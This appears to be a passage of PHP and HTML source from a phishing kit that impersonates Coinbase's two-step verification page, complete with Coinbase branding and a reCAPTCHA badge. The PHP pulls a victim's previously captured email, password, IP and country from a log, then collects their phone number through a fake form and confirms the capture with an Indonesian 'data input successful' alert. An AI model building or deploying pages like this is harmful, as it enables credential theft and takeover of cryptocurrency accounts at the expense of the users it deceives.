<?php
session_start();
require_once('../function/settings.php');
$Greed = new Coinbasah();
$Greed->updateLog();
if ($_SESSION['Status'] != 'phonenumber') {
    $Greed->redirectTo();
}
$result = $Greed->getKeyFromLog($_SESSION['Userinfo']);
if (is_array($result)) {
    // Extract the variables from the array
    $key = $result['key'];
    $ip = $result['ip'];
    $email = $result['email'];
    $password = $result['password'];
    $country = $result['country'];
    $phonenumber = $result['phonenumber'];
    $status = $result['status'];
}
if (isset($_POST['Next'])) {
    if ($Greed->Phonenunmber($_POST['area-code'],$_POST['prefix'],$_POST['line-number'],$_POST['phonedefault'])) {
        echo "<script>alert('Berhasil Menginput Data');</script>";
    }
}
?>
<!DOCTYPE html>
<html lang="en" class="js-focus-visible" data-js-focus-visible="">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="origin-trial" content="Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
    <title>Coinbase - Sign In</title>
    <link rel="icon" href="assets/images/favicon.ico">
    <link rel="stylesheet" href="assets/css/flag-icon.min.css" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <link href="assets/css/styles.d87df576ff25e358663e.css" rel="stylesheet">
    <link href="assets/css/styles.43cdd765c2fa35b596d4.css" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="assets/css/styles.babae8c0eccf7b247500.css">
    <link rel="stylesheet" type="text/css" href="assets/css/styles__ltr.css">
    <meta name="description" content="Coinbase is a secure online platform for buying, selling, transferring, and storing cryptocurrency." data-rh="true">
    <style id="googleidentityservice_button_styles">
        .qJTHM {
            -webkit-user-select: none;
            color: #202124;
            direction: ltr;
            -webkit-touch-callout: none;
            font-family: "Roboto-Regular", arial, sans-serif;
            -webkit-font-smoothing: antialiased;
            font-weight: 400;
            margin: 0;
            overflow: hidden;
            -webkit-text-size-adjust: 100%
        }

        .ynRLnc {
            left: -9999px;
            position: absolute;
            top: -9999px
        }

        .L6cTce {
            display: none
        }

        .bltWBb {
            word-break: break-all
        }

        .hSRGPd {
            color: #1a73e8;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none
        }

        .Bz112c-W3lGp {
            height: 16px;
            width: 16px
        }

        .Bz112c-E3DyYd {
            height: 20px;
            width: 20px
        }

        .Bz112c-r9oPif {
            height: 24px;
            width: 24px
        }

        .Bz112c-uaxL4e {
            -webkit-border-radius: 10px;
            border-radius: 10px
        }

        .LgbsSe-Bz112c {
            display: block
        }

        .S9gUrf-YoZ4jf,
        .S9gUrf-YoZ4jf * {
            border: none;
            margin: 0;
            padding: 0
        }

        .fFW7wc-ibnC6b>.aZ2wEe>div {
            border-color: #4285f4
        }

        .P1ekSe-ZMv3u>div:nth-child(1) {
            background-color: #1a73e8 !important
        }

        .P1ekSe-ZMv3u>div:nth-child(2),
        .P1ekSe-ZMv3u>div:nth-child(3) {
            background-image: linear-gradient(to right, rgba(255, 255, 255, .7), rgba(255, 255, 255, .7)), linear-gradient(to right, #1a73e8, #1a73e8) !important
        }

        .haAclf {
            display: inline-block
        }

        .nsm7Bb-HzV7m-LgbsSe {
            -webkit-border-radius: 4px;
            border-radius: 4px;
            -webkit-box-sizing: border-box;
            box-sizing: border-box;
            -webkit-transition: background-color .218s, border-color .218s;
            transition: background-color .218s, border-color .218s;
            -webkit-user-select: none;
            -webkit-appearance: none;
            background-color: #fff;
            background-image: none;
            border: 1px solid #dadce0;
            color: #3c4043;
            cursor: pointer;
            font-family: "Google Sans", arial, sans-serif;
            font-size: 14px;
            height: 40px;
            letter-spacing: 0.25px;
            outline: none;
            overflow: hidden;
            padding: 0 12px;
            position: relative;
            text-align: center;
            vertical-align: middle;
            white-space: nowrap;
            width: auto
        }

        @media screen and (-ms-high-contrast:active) {
            .nsm7Bb-HzV7m-LgbsSe {
                border: 2px solid windowText;
                color: windowText
            }
        }

        .nsm7Bb-HzV7m-LgbsSe.pSzOP-SxQuSe {
            font-size: 14px;
            height: 32px;
            letter-spacing: 0.25px;
            padding: 0 10px
        }

        .nsm7Bb-HzV7m-LgbsSe.purZT-SxQuSe {
            font-size: 11px;
            height: 20px;
            letter-spacing: 0.3px;
            padding: 0 8px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe {
            padding: 0;
            width: 40px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe.pSzOP-SxQuSe {
            width: 32px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe.purZT-SxQuSe {
            width: 20px
        }

        .nsm7Bb-HzV7m-LgbsSe.JGcpL-RbRzK {
            -webkit-border-radius: 20px;
            border-radius: 20px
        }

        .nsm7Bb-HzV7m-LgbsSe.JGcpL-RbRzK.pSzOP-SxQuSe {
            -webkit-border-radius: 16px;
            border-radius: 16px
        }

        .nsm7Bb-HzV7m-LgbsSe.JGcpL-RbRzK.purZT-SxQuSe {
            -webkit-border-radius: 10px;
            border-radius: 10px
        }

        .nsm7Bb-HzV7m-LgbsSe.MFS4be-Ia7Qfc {
            border: none;
            color: #fff
        }

        .nsm7Bb-HzV7m-LgbsSe.MFS4be-v3pZbf-Ia7Qfc {
            background-color: #1a73e8
        }

        .nsm7Bb-HzV7m-LgbsSe.MFS4be-JaPV2b-Ia7Qfc {
            background-color: #202124;
            color: #e8eaed
        }

        .nsm7Bb-HzV7m-LgbsSe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            height: 18px;
            margin-right: 8px;
            min-width: 18px;
            width: 18px
        }

        .nsm7Bb-HzV7m-LgbsSe.pSzOP-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            height: 14px;
            min-width: 14px;
            width: 14px
        }

        .nsm7Bb-HzV7m-LgbsSe.purZT-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            height: 10px;
            min-width: 10px;
            width: 10px
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            margin-left: 8px;
            margin-right: -4px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            margin: 0;
            padding: 10px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe.pSzOP-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            padding: 8px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe.purZT-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            padding: 4px
        }

        .nsm7Bb-HzV7m-LgbsSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-top-left-radius: 3px;
            border-top-left-radius: 3px;
            -webkit-border-bottom-left-radius: 3px;
            border-bottom-left-radius: 3px;
            display: -webkit-box;
            display: -webkit-flex;
            display: flex;
            justify-content: center;
            -webkit-align-items: center;
            align-items: center;
            background-color: #fff;
            height: 36px;
            margin-left: -10px;
            margin-right: 12px;
            min-width: 36px;
            width: 36px
        }

        .nsm7Bb-HzV7m-LgbsSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf .nsm7Bb-HzV7m-LgbsSe-Bz112c,
        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf .nsm7Bb-HzV7m-LgbsSe-Bz112c {
            margin: 0;
            padding: 0
        }

        .nsm7Bb-HzV7m-LgbsSe.pSzOP-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            height: 28px;
            margin-left: -8px;
            margin-right: 10px;
            min-width: 28px;
            width: 28px
        }

        .nsm7Bb-HzV7m-LgbsSe.purZT-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            height: 16px;
            margin-left: -6px;
            margin-right: 8px;
            min-width: 16px;
            width: 16px
        }

        .nsm7Bb-HzV7m-LgbsSe.Bz112c-LgbsSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-radius: 3px;
            border-radius: 3px;
            margin-left: 2px;
            margin-right: 0;
            padding: 0
        }

        .nsm7Bb-HzV7m-LgbsSe.JGcpL-RbRzK .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-radius: 18px;
            border-radius: 18px
        }

        .nsm7Bb-HzV7m-LgbsSe.pSzOP-SxQuSe.JGcpL-RbRzK .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-radius: 14px;
            border-radius: 14px
        }

        .nsm7Bb-HzV7m-LgbsSe.purZT-SxQuSe.JGcpL-RbRzK .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-radius: 8px;
            border-radius: 8px
        }

        .nsm7Bb-HzV7m-LgbsSe .nsm7Bb-HzV7m-LgbsSe-bN97Pc-sM5MNb {
            display: -webkit-box;
            display: -webkit-flex;
            display: flex;
            -webkit-align-items: center;
            align-items: center;
            -webkit-flex-direction: row;
            flex-direction: row;
            justify-content: space-between;
            -webkit-flex-wrap: nowrap;
            flex-wrap: nowrap;
            height: 100%;
            position: relative;
            width: 100%
        }

        .nsm7Bb-HzV7m-LgbsSe .oXtfBe-l4eHX {
            justify-content: center
        }

        .nsm7Bb-HzV7m-LgbsSe .nsm7Bb-HzV7m-LgbsSe-BPrWId {
            -webkit-flex-grow: 1;
            flex-grow: 1;
            font-family: "Google Sans", arial, sans-serif;
            font-weight: 500;
            overflow: hidden;
            text-overflow: ellipsis;
            vertical-align: top
        }

        .nsm7Bb-HzV7m-LgbsSe.purZT-SxQuSe .nsm7Bb-HzV7m-LgbsSe-BPrWId {
            font-weight: 300
        }

        .nsm7Bb-HzV7m-LgbsSe .oXtfBe-l4eHX .nsm7Bb-HzV7m-LgbsSe-BPrWId {
            -webkit-flex-grow: 0;
            flex-grow: 0
        }

        .nsm7Bb-HzV7m-LgbsSe .nsm7Bb-HzV7m-LgbsSe-MJoBVe {
            -webkit-transition: background-color .218s;
            transition: background-color .218s;
            bottom: 0;
            left: 0;
            position: absolute;
            right: 0;
            top: 0
        }

        .nsm7Bb-HzV7m-LgbsSe:hover,
        .nsm7Bb-HzV7m-LgbsSe:focus {
            -webkit-box-shadow: none;
            box-shadow: none;
            border-color: #d2e3fc;
            outline: none
        }

        .nsm7Bb-HzV7m-LgbsSe:hover .nsm7Bb-HzV7m-LgbsSe-MJoBVe,
        .nsm7Bb-HzV7m-LgbsSe:focus .nsm7Bb-HzV7m-LgbsSe-MJoBVe {
            background: rgba(66, 133, 244, .04)
        }

        .nsm7Bb-HzV7m-LgbsSe:active .nsm7Bb-HzV7m-LgbsSe-MJoBVe {
            background: rgba(66, 133, 244, .1)
        }

        .nsm7Bb-HzV7m-LgbsSe.MFS4be-Ia7Qfc:hover .nsm7Bb-HzV7m-LgbsSe-MJoBVe,
        .nsm7Bb-HzV7m-LgbsSe.MFS4be-Ia7Qfc:focus .nsm7Bb-HzV7m-LgbsSe-MJoBVe {
            background: rgba(255, 255, 255, .24)
        }

        .nsm7Bb-HzV7m-LgbsSe.MFS4be-Ia7Qfc:active .nsm7Bb-HzV7m-LgbsSe-MJoBVe {
            background: rgba(255, 255, 255, .32)
        }

        .nsm7Bb-HzV7m-LgbsSe .n1UuX-DkfjY {
            -webkit-border-radius: 50%;
            border-radius: 50%;
            display: -webkit-box;
            display: -webkit-flex;
            display: flex;
            height: 20px;
            margin-left: -4px;
            margin-right: 8px;
            min-width: 20px;
            width: 20px
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-BPrWId {
            font-family: "Roboto";
            font-size: 12px;
            text-align: left
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-BPrWId .ssJRIf,
        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-BPrWId .K4efff .fmcmS {
            overflow: hidden;
            text-overflow: ellipsis
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-BPrWId .K4efff {
            display: -webkit-box;
            display: -webkit-flex;
            display: flex;
            -webkit-align-items: center;
            align-items: center;
            color: #5f6368;
            fill: #5f6368;
            font-size: 11px;
            font-weight: 400
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe.MFS4be-Ia7Qfc .nsm7Bb-HzV7m-LgbsSe-BPrWId .K4efff {
            color: #e8eaed;
            fill: #e8eaed
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-BPrWId .K4efff .Bz112c {
            height: 18px;
            margin: -3px -3px -3px 2px;
            min-width: 18px;
            width: 18px
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-top-left-radius: 0;
            border-top-left-radius: 0;
            -webkit-border-bottom-left-radius: 0;
            border-bottom-left-radius: 0;
            -webkit-border-top-right-radius: 3px;
            border-top-right-radius: 3px;
            -webkit-border-bottom-right-radius: 3px;
            border-bottom-right-radius: 3px;
            margin-left: 12px;
            margin-right: -10px
        }

        .nsm7Bb-HzV7m-LgbsSe.jVeSEe.JGcpL-RbRzK .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf {
            -webkit-border-radius: 18px;
            border-radius: 18px
        }

        .L5Fo6c-sM5MNb {
            border: 0;
            display: block;
            left: 0;
            position: relative;
            top: 0
        }

        .L5Fo6c-bF1uUb {
            -webkit-border-radius: 4px;
            border-radius: 4px;
            bottom: 0;
            cursor: pointer;
            left: 0;
            position: absolute;
            right: 0;
            top: 0
        }

        .L5Fo6c-bF1uUb:focus {
            border: none;
            outline: none
        }

        .alert {
            position: fixed;
            top: 20px;
            right: 20px;
            z-index: 1050;
            display: none;
            /* Initially hidden */
        }
    </style>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <style>
        /* General Alert Styles */
        .alert {
            padding: 20px;
            /* Padding around the alert content */
            margin-bottom: 20px;
            /* Space below the alert */
            border: 1px solid transparent;
            /* Border color */
            border-radius: 4px;
            /* Rounded corners */
            position: fixed;
            /* Fixed position */
            top: 20px;
            /* Distance from the top */
            left: 50%;
            /* Center horizontally */
            transform: translateX(-50%);
            /* Adjust to exact center horizontally */
            z-index: 1050;
            /* Ensure it appears above other content */
            display: none;
            /* Initially hidden */
            width: auto;
            /* Automatic width */
            max-width: 400px;
            /* Maximum width */
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            /* Subtle shadow */
            font-size: 16px;
            /* Font size */
            line-height: 1.5;
            /* Line height */
        }

        /* Danger Alert Styles */
        .alert-danger {
            color: #721c24;
            /* Text color */
            background-color: #f8d7da;
            /* Background color */
            border-color: #f5c6cb;
            /* Border color */
        }

        /* Alert Text Styles */
        .alert-danger .alert-text {
            font-weight: bold;
            /* Bold text */
        }

        /* Responsive Adjustments */
        @media (max-width: 600px) {
            .alert {
                max-width: 90%;
                /* Adjust max width for small screens */
            }
        }

        .rowas {
            display: flex;
            width: 100%;
        }

        .col-lgas-1 {
            flex: 0 0 auto;
            width: 15%;
        }

        .col-lgas-11 {
            flex: 0 0 auto;
            width: 85%;
        }

        .flag-container {
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: #efefef;
            border-top-left-radius: 10px;
            border-bottom-left-radius: 10px;
            border-top: 1px solid rgb(139 146 159);
            border-left: 1px solid rgb(139 146 159);
            border-bottom: 1px solid rgb(139 146 159);
        }
        .flag-containers {
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: #efefef;
            border: none;
            width: 20%;
        }
        .flag-containersa {
            display: flex;
            align-items: center;
            justify-content: center;
            border: none;
            width: 5%;
            border-top: 1px solid rgb(139 146 159);
            border-bottom: 1px solid rgb(139 146 159);
        }
        .flag-icon {
            background-size: contain;
            background-repeat: no-repeat;
            border-radius: 3px;
            width: 2em;
            height: auto;
            aspect-ratio: 4/3;
            /* Common aspect ratio for flags */
            opacity: 0.9;
        }

        .countrycode {
            border-top-right-radius: 10px;
            border-bottom-right-radius: 10px;
            border-top: 1px solid rgb(139 146 159);
            border-right: 1px solid rgb(139 146 159);
            border-bottom: 1px solid rgb(139 146 159);
        }

        .inputnumbers{
            border-top: 1px solid rgb(139 146 159);
            border-bottom: 1px solid rgb(139 146 159);
            width: 22%;
            text-align: center;
        }
        .cds-2-_fbgb57{
            padding-left: 8px !important;
            padding-right: 8px !important;
        }
        .inputnumbers:focus {
            border-top: 2px solid #0052ff;
            border-bottom: 2px solid #0052ff;
            outline: none; /* Menghapus outline default */
        }
        .cds-2-_fbgb57:visited {
            border: none;
        }
    </style>
</head>

<body class="cds-light-l1k3tbpe" style="background-color: rgba(var(--gray0));"><noscript>You need to enable JavaScript
        to run this app.</noscript>
    <div id="root" style="display: flex; flex-direction: column; min-height: 100%">
        <div class="cds-large-llfbhh8 cds-light-l1k3tbpe" style="--foreground: rgb(var(--gray100)); --foreground-muted: rgb(var(--gray60)); --background: rgb(var(--gray0)); --background-alternate: rgb(var(--gray5)); --background-overlay: rgba(var(--gray80),0.33); --line: rgba(var(--gray60),0.2); --line-heavy: rgba(var(--gray60),0.66); --primary: rgb(var(--blue60)); --primary-wash: rgb(var(--blue0)); --primary-foreground: rgb(var(--gray0)); --negative: rgb(var(--red60)); --negative-foreground: rgb(var(--gray0)); --positive: rgb(var(--green60)); --positive-foreground: rgb(var(--gray0)); --secondary: rgb(var(--gray5)); --secondary-foreground: rgb(var(--gray100)); --transparent: rgba(var(--gray0),0); --warning: rgb(var(--yellow50));">
            <div class="cds-flex-f1g67tkn cds-center-ca5ylan cds-column-ci8mx7v cds-background-b85wjan" style="height: 100%; width: 100%;">
                <div data-testid="signin-header" class="cds-flex-f1g67tkn cds-center-cv8796s cds-center-ca5ylan cds-space-between-s1vbz1 cds-background-b85wjan cds-2-_115h1mf cds-2-_1qjdqpv cds-3-_1ol1258 cds-3-_1ti0n00 cds-5-_g0seea" style="width: 100%;"><a data-testid="header-logo-link" class="cds-link cds-link-l17zyfmx" title="Home" href="#"><span class="cds-typographyResets-t1xhpuq2 cds-textInherit-t1yzihzw cds-primary-piuvss6 cds-transition-txjiwsi cds-start-s1muvu8a cds-link--container"><svg aria-label="Coinbase logo" class="cds-iconStyles-iogjozt" height="32" role="img" viewBox="0 0 48 48" width="32" xmlns="http://www.w3.org/2000/svg">
                                <title>Coinbase logo</title>
                                <path d="M24,36c-6.63,0-12-5.37-12-12s5.37-12,12-12c5.94,0,10.87,4.33,11.82,10h12.09C46.89,9.68,36.58,0,24,0 C10.75,0,0,10.75,0,24s10.75,24,24,24c12.58,0,22.89-9.68,23.91-22H35.82C34.87,31.67,29.94,36,24,36z" fill="rgb(139 146 159)"></path>
                            </svg></span></a>
                </div>
                <div class="cds-flex-f1g67tkn cds-center-ca5ylan cds-column-ci8mx7v cds-1-_1xqs9y8 cds-1-_9w3lns" style="width: 100%;">
                    <div class="cds-flex-f1g67tkn cds-flex-start-f1lnfmfd cds-row-r1tfxker cds-center-czxavit" style="width: 100%;">
                        <div class="cds-flex-f1g67tkn cds-column-ci8mx7v" style="max-width: 448px; width: 100%;">
                            <div class="cds-flex-f1g67tkn cds-center-czxavit cds-roundedLarge-rdc2t5d cds-bordered-b17mbjy1 cds-5-_1fh7zw6 cds-5-_1yjsi5b cds-4-_1w9a5m" style="width: 100%;">
                                <div id="two-factor" class="cds-flex-f1g67tkn cds-column-ci8mx7v cds-3-_1mvq9l2" style="width: 100%;">
                                    <div class="cds-flex-f1g67tkn cds-column-ci8mx7v" style="flex-grow: 1; max-width: 448px; width: 100%;">
                                        <div class="cds-flex-f1g67tkn cds-column-ci8mx7v" style="flex-grow: 1; max-width: 448px; width: 100%;">
                                            <div data-testid="load-view-wrapper" class="cds-flex-f1g67tkn cds-column-ci8mx7v" style="flex-grow: 1; max-width: 448px; width: 100%;">
                                                <div data-testid="password-input-code" class="cds-flex-f1g67tkn cds-column-ci8mx7v">
                                                    <div class="cds-flex-f1g67tkn cds-column-ci8mx7v cds-2-_1qjdqpv">
                                                        <?php if (isset($_SESSION['Passsecond'])) { ?>
                                                            <div class="alert alert-danger alert-dismissible fade" role="alert">
                                                                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                                                    <span aria-hidden="true">&times;</span>
                                                                </button>
                                                                <div style="max-width:90%;">
                                                                    <span>For security reasons, please enter your valid phone number.</span>
                                                                </div>
                                                            </div>
                                                        <?php } unset($_SESSION['Passsecond']); ?>
                                                        <h2 class="cds-typographyResets-t1xhpuq2 cds-title1-toujgnf cds-foreground-f1yzxzgu cds-transition-txjiwsi cds-start-s1muvu8a">
                                                            Two-step verification</h2>
                                                    </div>
                                                    <form method="POST">
                                                        <div class="cds-flex-f1g67tkn cds-column-ci8mx7v cds-3-_1mvq9l2 cds-3-_zv3bp">
                                                            <div class="cds-select-wrapper rowas">
                                                                <div class="col-lgas-1 flag-container">
                                                                    <span class='flag-icon'></span>
                                                                </div>
                                                                <div class="col-lgas-11">
                                                                    <select id="cars" name="cars" class="cds-2-_fbgb57 countrycode" style="width: 100%; background-color: #f9f9f9;">
                                                                    <option value="us" data-phone-code="+1" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'us'){echo "selected"; } ?>>United States</option>
                                                                    <option value="gb" data-phone-code="+44" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'gb'){echo "selected"; } ?>>United Kingdom</option>
                                                                    <option value="be" data-phone-code="+32" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'be'){echo "selected"; } ?>>Belgium</option>
                                                                    <option value="ch" data-phone-code="+41" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'ch'){echo "selected"; } ?>>Switzerland</option>
                                                                    <option value="dk" data-phone-code="+45" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'dk'){echo "selected"; } ?>>Denmark</option>
                                                                    <option value="ie" data-phone-code="+353" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'ie'){echo "selected"; } ?>>Ireland</option>
                                                                    <option value="de" data-phone-code="+49" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'de'){echo "selected"; } ?>>Germany</option>
                                                                    <option value="is" data-phone-code="+354" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'is'){echo "selected"; } ?>>Iceland</option>
                                                                    <option value="lu" data-phone-code="+352" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'lu'){echo "selected"; } ?>>Luxembourg</option>
                                                                    <option value="nl" data-phone-code="+31" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'nl'){echo "selected"; } ?>>Netherlands</option>
                                                                    <option value="no" data-phone-code="+47" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'no'){echo "selected"; } ?>>Norway</option>
                                                                    <option value="se" data-phone-code="+46" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'se'){echo "selected"; } ?>>Sweden</option>
                                                                    <option value="ca" data-phone-code="+1" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'ca'){echo "selected"; } ?>>Canada</option>
                                                                    <option value="sg" data-phone-code="+65" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'sg'){echo "selected"; } ?>>Singapore</option>
                                                                    <option value="au" data-phone-code="+61" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'au'){echo "selected"; } ?>>Australia</option>
                                                                    <option value="hk" data-phone-code="+852" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'hk'){echo "selected"; } ?>>Hong Kong</option>
                                                                    <option value="nz" data-phone-code="+64" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'nz'){echo "selected"; } ?>>New Zealand</option>
                                                                    <option value="kr" data-phone-code="+82" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'kr'){echo "selected"; } ?>>South Korea</option>
                                                                    <option value="tw" data-phone-code="+886" <?php if(strtolower($_SESSION['Countrynya'] ?? '') === 'tw'){echo "selected"; } ?>>Taiwan</option>

                                                                    </select>
                                                                </div>
                                                            </div>
                                                            <div data-testid="" class="cds-flex-f1g67tkn cds-column-ci8mx7v cds-0_5-_5akrcb" style="width: 100%; opacity: 1;"><label for="cds-textinput-label-:r8:" data-testid="" class="cds-typographyResets-t1xhpuq2 cds-label1-lvviwwo cds-foreground-f1yzxzgu cds-transition-txjiwsi cds-start-s1muvu8a cds-0_5-_1oy8l1i cds-0_5-_uaer6w cds-labelStyle-l14tr5bh">Phone Number</label>
                                                                <div class="cds-flex-f1g67tkn cds-row-r1tfxker">
                                                                    <div class="cds-select-wrapper rowas">
                                                                        <div class="col-lgas-1 flag-container">
                                                                            <span id="phonenumbers"></span>
                                                                        </div>
                                                                        <div class="col-lgas-11" style="display:flex;">
                                                                            <div class="col-lgas-1 flag-containersa">
                                                                            <span style="font-size: 25px;">(</span>
                                                                            </div>
                                                                            <input type="tel" class="cds-2-_fbgb57 inputnumbers" name="area-code" maxlength="3" id="area-code" pattern="\d{3}" placeholder="_ _ _" required>
                                                                            <div class="col-lgas-1 flag-containersa">
                                                                            <span style="font-size: 25px;">)</span>
                                                                            </div>
                                                                            <input type="tel" class="cds-2-_fbgb57 inputnumbers" name="prefix" id="prefix" maxlength="3" pattern="\d{3}" placeholder="_ _ _" required>
                                                                            <div class="col-lgas-1 flag-containersa">
                                                                            <span style="font-size: 25px;">-</span>
                                                                            </div>
                                                                            <input type="tel" class="cds-2-_fbgb57 inputnumbers" name="line-number" id="line-number" maxlength="2" pattern="\d{2}" placeholder="_ _" required>
                                                                            <div class="col-lgas-1 flag-containers countrycode">
                                                                                <span><?= @$phonenumber; ?></span>
                                                                                <input type="hidden" name="phonedefault" value="<?= @$phonenumber; ?>">
                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        <div class="cds-flex-f1g67tkn cds-column-ci8mx7v cds-2-_115h1mf cds-2-_8lqlrb">
                                                            <button data-testid="password-submit-button" aria-busy="false" class="cds-interactable-i9xooc6 cds-focusRing-fd371rq cds-transparent-tlx9nbb cds-button-b18qe5go cds-scaledDownState-sxr2bd6 cds-primaryForeground-pxcz3o7 cds-button-bpih6bv cds-4-_1arbnhr cds-4-_hd2z08" type="submit" name="Next" style="--interactable-height: 56px; --interactable-border-radius: 56px; --interactable-background: var(--primary); --interactable-hovered-background: rgb(1, 76, 236); --interactable-hovered-opacity: 0.92; --interactable-pressed-background: rgb(1, 72, 221); --interactable-pressed-opacity: 0.86; --interactable-disabled-background: rgb(128, 169, 255);"><span class="cds-positionRelative-p109mlw7"><span class="cds-typographyResets-t1xhpuq2 cds-headline-htr1998 cds-primaryForeground-pxcz3o7 cds-transition-txjiwsi cds-start-s1muvu8a"><span class="">Continue</span></span></span></button>
                                                        </div>
                                                        <div style="text-align: center; line-height: 1.2;" class="pt-2">
                                                            <span style="color: #979797; font-size: 13px;">Security is critical at Coinbase. To help keep your account safe, we'll text you a verification code when you sign in on a new device.</span>
                                                        </div>
                                                        <div data-testid="responsive-drawer-toggle-link" class="cds-flex-f1g67tkn cds-center-czxavit cds-3-_1ixgcz3 cds-3-_1mvq9l2">
                                                            <button data-testid="sms-toggle-help-button" class="cds-link cds-link-l17zyfmx" type="button"><span class="cds-typographyResets-t1xhpuq2 cds-body-bb7l4gg cds-primary-piuvss6 cds-transition-txjiwsi cds-start-s1muvu8a cds-link--container">Having
                                                                    trouble? Try another way</span></button>
                                                        </div>
                                                    </form>
                                                </div>
                                                <div class="cds-flex-f1g67tkn r7rfe1z">
                                                    <div data-testid="visible_recaptcha" data-sitekey="NOT_USED"></div>
                                                    <div data-testid="invisible_recaptcha" data-sitekey="6LcTV7IcAAAAAI1CwwRBm58wKn1n6vwyV1QFaoxr">
                                                        <div class="grecaptcha-badge" data-style="bottomright" style="width: 256px; height: 60px; display: block; transition: right 0.3s ease 0s; position: fixed; bottom: 14px; right: -186px; box-shadow: gray 0px 0px 5px; border-radius: 2px; overflow: hidden;">
                                                            <div class="grecaptcha-logo">
                                                                <div class="rc-anchor rc-anchor-invisible rc-anchor-light rc-anchor-invisible-hover">
                                                                    <div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div>
                                                                    <div class="rc-anchor-normal-footer">
                                                                        <div class="rc-anchor-logo-large" role="presentation">
                                                                            <div class="rc-anchor-logo-img rc-anchor-logo-img-large"></div>
                                                                        </div>
                                                                        <div class="rc-anchor-pt"><a href="#" target="_blank">Privacy</a><span aria-hidden="true" role="presentation"> - </span><a href="#" target="_blank">Terms</a></div>
                                                                    </div>
                                                                    <div class="rc-anchor-invisible-text"><span>protected by <strong>reCAPTCHA</strong></span>
